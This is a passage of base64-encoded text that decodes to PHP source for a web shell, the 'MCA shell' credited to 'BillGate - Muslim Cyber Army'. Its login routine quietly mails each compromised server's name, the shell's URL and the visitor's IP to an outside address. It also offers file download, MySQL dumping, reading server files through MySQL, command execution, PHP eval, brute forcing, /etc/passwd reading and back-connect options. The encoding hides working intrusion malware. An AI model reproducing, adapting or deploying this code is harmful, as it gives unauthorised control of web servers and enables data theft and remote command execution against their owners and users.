WRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3ZiYXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxib2R5IGJhY2tncm91bmQ9YmxhY2s+Jyk7DQoJZXhpdDsNCn0NCmlmKCRhZG1pblsnY2hlY2snXSkgew0KCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoJCQlzY29va2llKCd2YmFwYXNzJywgJHBhc3N3b3JkKTsNCg0KLy8gRnVuY3Rpb24gbWFpbCBTZW5kZXIgdG8gbXkgRW1haWwgLSBQbGVhc2UgcmVtb3ZlIHRoaXMgYmVmb3JlIHlvdSB1c2luZyB0aGlzIHNoZWxsIGNvZGUNCiR0aW1lX3NoZWxsID0gIiIuZGF0ZSgiZC9tL1kgLSBIOmk6cyIpLiIiOw0KJGlwX3JlbW90ZSA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7DQokdG9fZW1haWwgPSAnYmlsbGdhdGVAaGFja2VybWFpbC5jb20nOw0KJHNlcnZlcl9tYWlsID0gIiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiAgLSAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjsNCiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7DQokaGVhZGVyID0gIkZyb206ICRmcm9tX3NoZWxsY29kZVxyXG5SZXBseS10bzogJGZyb21fc2hlbGxjb2RlIjsNCkBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsNCgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7DQoJCQlwKCc8Ym9keSBiZ2NvbG9yPWJsYWNrPg0KPEJSPjxCUj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPldlbGxjb21lYmFjayAgLSBQbGVhc2Ugd2FpdC4uLjxCUj48aW1nIHNyYz1odHRwOi8vdDMuZ3N0YXRpYy5jb20vaW1hZ2VzP3E9dGJuOkFOZDlHY1JGSVF5OW9MYzlqTVdtRFlfTl9zeGpXUHl1c1VXQzRpZ3dLMmxxQm02OGFER2NTZktQUEE+PC9kaXY+Jyk7DQoJCQlleGl0Ow0KCQl9DQoNCgllbHNlDQoJew0KCSRlcnJfbWVzcyA9ICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzBFMEUwRSB3aWR0aD0xMDAlIGhlaWdodD0yND48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0yPjxibGluaz5QYXNzd29yZCBpbmNvcnJlY3QsIFBsZWFzZSB0cnkgYWdhaW4hISE8L2JsaW5rPjxCUj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+JzsNCmVjaG8gJGVycl9tZXNzOw0KCX19DQoJaWYgKCRfQ09PS0lFWyd2YmFwYXNzJ10pIHsNCgkJaWYgKCRfQ09PS0lFWyd2YmFwYXNzJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCgkJCWxvZ2lucGFnZSgpOw0KCQl9DQoJfSBlbHNlIHsNCgkJbG9naW5wYWdlKCk7DQoJfQ0KfQ0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KJGVycm1zZyA9ICcnOw0KDQppZiAoJGFjdGlvbiA9PSAncGhwaW5mbycpIHsNCglpZiAoSVNfUEhQSU5GTykgew0KCQlwaHBpbmZvKCk7DQoJfSBlbHNlIHsNCgkJJGVycm1zZyA9ICdwaHBpbmZvKCkgZnVuY3Rpb24gaGFzIG5vbi1wZXJtaXNzaWJsZSc7DQoJfQ0KfQ0KDQoNCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KCWlmICghQGZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCX0gZWxzZSB7DQoJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCR0aGVmaWxlKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJHRoZWZpbGUpKTsNCgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsNCgkJZXhpdDsNCgl9DQp9DQoNCg0KaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgew0KCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOw0KCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19NeVNRTC5zcWwnKTsNCgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCSRteXNxbGRhdGEgPSAnJzsNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkkbXlzcWxkYXRhIC49IHNxbGR1bXB0YWJsZSgkY3Vycm93WzBdKTsNCgkJfQ0KCX0NCglteXNxbF9jbG9zZSgpOw0KCWV4aXQ7DQp9DQoNCi8vIE15c3FsDQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsNCglpZiAoISRkYm5hbWUpIHsNCgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsNCgl9IGVsc2Ugew0KCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsNCgkJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJCX0gZWxzZSB7DQoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7DQoJCQlpZighJHJlc3VsdCl7DQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wX2FuZ2VsOyIpOw0KCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOw0KCQkJCS8vRG93bmxvYWQgU1FMDQoJCQkJcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5UTyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJzsiKTsNCgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsNCgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOw0KCQkJfQ0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCgkJCWlmICghJHJvdykgew0KCQkJCSRlcnJtc2cgPSAnTG9hZCBmaWxlIGZhaWxlZCAnLm15c3FsX2Vycm9yKCk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsNCgkJCQllY2hvICRyb3dbMF07DQoJCQkJZXhpdDsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KPz4NCg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnLjo6LS0tW01DQSBzaGVsbF0tLS06Oi4nKTs/PjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0ZHtmb250OiAxMHB0IFRhaG9tYTtjb2xvcjpncmF5O2xpbmUtaGVpZ2h0OiAxNnB4O30NCg0KYSB7Y29sb3I6ICM3NEEyMDI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb2N1cyB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm91dDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvdXQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzIwMjAyMDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzIwMjAyMDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQouaGVhZF9zbWFsbCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9DQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9DQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9DQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30NCnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30NCnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30NCmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uDQp7DQoJZm9udC1zaXplOiA5cHQ7DQoJY29sb3I6ICNjY2M7DQoJZm9udC1mYW1pbHk6IHZlcmRhbmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzIwMjAyMDsNCglib3JkZXItbGVmdDogMXB4IHNvbGlkICM3NEEyMDI7DQoJYm9yZGVyLXRvcDogMXB4IHNvbGlkICM3NEEyMDI7DQoJYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItYm90dG9tOiAxcHggc29saWQgIzc0QTIwMjsNCn0NCnNlbGVjdA0Kew0KCWZvbnQtc2l6ZTogOHB0Ow0KCWZvbnQtd2VpZ2h0OiBub3JtYWw7DQoJY29sb3I6ICNjY2M7DQoJZm9udC1mYW1pbHk6IHZlcmRhbmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzIwMjAyMDsNCn0NCg0KPC9zdHlsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gJChpZCkgew0KCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7DQp9DQpmdW5jdGlvbiBnb2FjdGlvbihhY3Qpew0KCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsNCgkkKCdnb2FjdGlvbicpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImluaXQoKSIgc3R5bGU9Im1hcmdpbjowO3RhYmxlLWxheW91dDpmaXhlZDsgd29yZC1icmVhazpicmVhay1hbGwiIGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD1odHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2JnLTEuanBnPg0KDQoNCjxkaXYgYm9yZGVyPSIwIiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IHRvcDogMzAwcHg7IGxlZnQ6IDA7IiBpZD0ibG9hZGluZyIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJjZW50ZXIiPg0KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPg0KCQkJCQk8dHI+DQoNCgkJCQkJCTx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Y2VudGVyPg0KCQkJCSA8ZGl2IGJvcmRlcj0iMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwRTBFMEU7IGZpbHRlcjogYWxwaGEob3BhY2l0eT03MCk7IG9wYWNpdHk6IC43OyB3aWR0aDogMTEwcHg7IGhlaWdodDogMjVweDsgei1pbmRleDogMTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsiIGJvcmRlcmNvbG9yPSIjMDA2NjAwIiAgYWxpZ249ImNlbnRlciI+DQoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4NCgkJCQkgIDwvZGl2Pg0KCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJPC90YWJsZT4NCgkJCSA8L2Rpdj4NCg0KIDxzY3JpcHQ+DQogdmFyIGxkPShkb2N1bWVudC5hbGwpOw0KICB2YXIgbnM0PWRvY3VtZW50LmxheWVyczsNCiB2YXIgbnM2PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsOw0KIHZhciBpZTQ9ZG9jdW1lbnQuYWxsOw0KICBpZiAobnM0KQ0KIAlsZD1kb2N1bWVudC5sb2FkaW5nOw0KIGVsc2UgaWYgKG5zNikNCiAJbGQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImxvYWRpbmciKS5zdHlsZTsNCiBlbHNlIGlmIChpZTQpDQogCWxkPWRvY3VtZW50LmFsbC5sb2FkaW5nLnN0eWxlOw0KICBmdW5jdGlvbiBpbml0KCkNCiB7DQogaWYobnM0KXtsZC52aXNpYmlsaXR5PSJoaWRkZW4iO30NCiBlbHNlIGlmIChuczZ8fGllNCkgbGQuZGlzcGxheT0ibm9uZSI7DQogfQ0KIDwvc2NyaXB0Pg0KDQoNCg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dHIgY2xhc3M9ImhlYWRfc21hbGwiPg0KCQk8dGQgIHdpZHRoPTEwMCU+DQoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkICB3aWR0aD04NnB4PjxhIHRpdGxlPSJWTiBoYWNrZXIiIGhyZWY9Ijw/cGhwICRzZWxmOz8+Ij48aW1nIHNyYz1odHRwOi8vczEzLnBvc3RpbWcub3JnLzVtcGZqc2hnai9tY2EucG5nIGhlaWdodD04NiBib3JkZXI9MD48L2E+PC90ZD48dGQ+DQoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vZ3JvdXBzL011c2xpbUN5YmVyQXJteTc4Ni8iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnLjo6WyBCaWxsR2F0ZSAtIE11c2xpbSBDeWJlciBBcm15IF06Oi4nKTs/PiA8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+TG9nb3V0PC9mb250PjwvYT48L3NwYW4+IDxiciAvPg0KDQoJCTw/cGhwDQoJCSRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCgkJJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KCQkkcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KDQplY2hvICgoJHNhZmVfbW9kZSk/KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpOigiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsNCmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOw0KCQllY2hvICJjVVJMOiAiLigoJGN1cmxfb24pPygiPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpOigiPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KCQllY2hvICJNeVNRTDogPGI+IjsNCiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCmlmKCRteXNxbF9vbil7DQplY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjsgfQ0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQ0KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9DQplY2hvICJPcmFjbGU6IDxiPiI7DQokb3JhX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTsNCmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiRGlzYWJsZSBmdW5jdGlvbnMgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj48QlI+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj48QlI+Ijt9DQoNCmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlVuYW1lIC1hPC9mb250PjogIi5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+U2VydmVyPC9mb250PjogIi5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiIgLSA8Zm9udCBjb2xvcj13aGl0ZT5pZDwvZm9udD46ICIuQGdldG15dWlkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIikgLSB1aWQ9Ii5AZ2V0bXl1aWQoKS4iICgiLkBnZXRfY3VycmVudF91c2VyKCkuIikgZ2lkPSIuQGdldG15Z2lkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIik8YnI+IjsNCgkJPz4NCgkJPC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCg0KCTwvdHI+DQoJPHRyIGNsYXNzPSJhbHQxIj4NCgkJPHRkICB3aWR0aD0xMCU+PHNwYW4gc3R5bGU9ImZsb2F0OmxlZnQ7Ij5bU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gLSBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz5dIDwvc3Bhbj4gICA8YnIgLz4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyIC8+DQoJCQkNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+DQoNCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdicnV0ZScpOyI+QnJ1dGU8L2E+IDw/cGhwIH0/Pg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V0Y3B3ZCcpOyI+L2V0Yy9wYXNzd2Q8L2E+IDw/cGhwIH0/Pg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+DQoNCgkJPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgpOw0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vIERpciBmdW5jdGlvbg0KISRkaXIgJiYgJGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVlKCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vIE5vbi13cml0ZWFibGUNCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ05vbi13cml0YWJsZSc7DQoNCgkvLyBEZ